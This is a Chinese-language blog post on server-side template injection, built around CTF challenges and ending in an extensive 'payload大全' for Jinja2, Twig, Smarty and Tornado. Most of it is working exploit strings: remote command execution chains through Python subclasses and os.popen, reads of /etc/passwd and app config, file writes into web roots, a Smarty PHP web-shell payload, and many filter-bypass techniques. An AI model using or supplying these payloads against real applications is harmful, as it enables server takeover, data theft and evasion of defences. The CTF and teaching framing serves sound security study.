ssti详解与例题以及绕过payload大全
ssti详解与例题以及绕过payload大全[BJDCTF2020]Cookie is so stableuser=1231{{2*4}}判断是不是sstiuser={{system('ls')}}执行命令,但不能成功,,好像是空格不可以{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /
ssti详解与例题以及绕过payload大全
[BJDCTF2020]Cookie is so stable
user=1231{{2*4}}
判断是不是ssti
user={{system('ls')}}
执行命令,但不能成功,,好像是空格不可以
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
这是最后的payload
https://0day.work/jinja2-template-injection-filter-bypasses/
bypass
攻防世界的题Web_python_template_injection
jinjia的语言:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
{{[].__class__.__base__.__subclasses__()}}
:查看所有的模块
os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个
利用到的是func_globals.keys() :查看全局函数
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
查看flag文件所在
{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
读取文件 利用到的是object对象下的file类的read函数
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/
基础类的执行
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
常见的基础调用类函数执行
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
1.获取基类
//获取基本类
```bash
{{[].__class__}}
获取所有类
''.__class__.__mro__[2].__subclasses__()
获取config对象与request对象类
{{url_for.__globals__}}
{{config}}#即查看权限
{{ config.SQLALCHEMY_DATABASE_URI }}
python
读取文件类,<type ‘file’> file位置一般为40,直接调用
[].__class__.__base__.__subclasses__()[40]('fl4g').read()
<class ‘site._Printer’> 调用os的popen执行命令
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()
如果system被过滤,用os的listdir读取目录+file模块读取文件:
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
<class ‘subprocess.Popen’> 位置一般为258
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等
#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
python3
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
payload大全
Jinjia2模板引擎通用的RCE Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
’
smarty模板引擎:
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
一,漏洞确认(查看smarty的版本号):
{$smarty.version}
二,常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用)
{php}{/php}
执行php指令,php7无法使用
<script language="php">phpinfo();</script>
三,静态方法
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
payload1:(if标签执行PHP命令)
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}
四,其他payload
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
twig模板引擎:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
tornado模板注入
{{handler.settings}}环境变量
waf绕过
①绕过字符与典型函数类
1.)过滤[]
#绕过方法1:__getitem__绕中括号限制
#即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
{}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
#绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
#使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
2.)过滤_
blacklist = ["_"]
#绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**
3.)过滤’request[request.’
blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**
4.)过滤_class_
blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}
5.)绕过"|join"
blacklist = ["__","request[request.","__class__",'[',']',"|join"]
使用管道+format方法,用格式化字符串生成被过滤的字串。
/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
6.)绕过.方法
#若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")
7.)绕{{
#方法:{% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('') %}1{% endif %}
绕过 _ . '这三个:是等价的
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
"\x5f"是字符 ”_“,”\x2E"是字符 “.”。
绕过 ‘__’
exploit = request.args.get('exploit')
print exploit
blacklist = ["_"]
for bad_string in blacklist:
if bad_string in exploit:
return "HACK ATTEMPT {}".format(bad_string), 400
除了request.__class__
,还可以用request.["_class_"]这种写法,即数组+字典下标的方式。但是仅使用这个方法是不行的,因为在render的时候就已经进行了对引号的转义,并且黑名单中的字符仍然存在。
request变量可以访问所有我们提交上去的变量,可以使用request.args.<param>
的语法,再传入一个来构造变量。
这样就获得了一个绕过的方法:
- EXP:
/?exploit={{request[request.args.pa]}}&pa=**class**
绕过’[’ 和 ‘]’
blacklist = ["__","request[request.","__class__",'[',']']
可以使用元组('a','b','c')
的方式给join
传递参数,这样既可绕过方括号。只要把上一个EXP的方括号替换成圆括号即可,不过还有一个更优雅的方案。
使用 .getlist()
方法得到一个列表,这个列表的参数可以在后面传递,具体示例请看EXP
EXP:/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
②过滤关键字类
绕过滤config、request以及class
1.)拼接绕
{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}
2.)利用__enter__方法绕(python3中)
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256]
绕组合
1.)绕’ “” _
利用request.args.x绕__过滤 利用request.args.x绕""
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/pass
?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}
2.)同时绕下划线、与中括号
#同时
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过
base64:
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
字符串拼接:
+号绕过
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
[::-1]取反绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
reload方法:
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
当没有过滤reload函数时,我们可以重载builtins
reload(__builtins__)
当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块
这时候可以使用getattribute+ 字符串拼接 / base64 绕过 例如:
[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
等价于:
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
三.特殊读取文件姿势
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)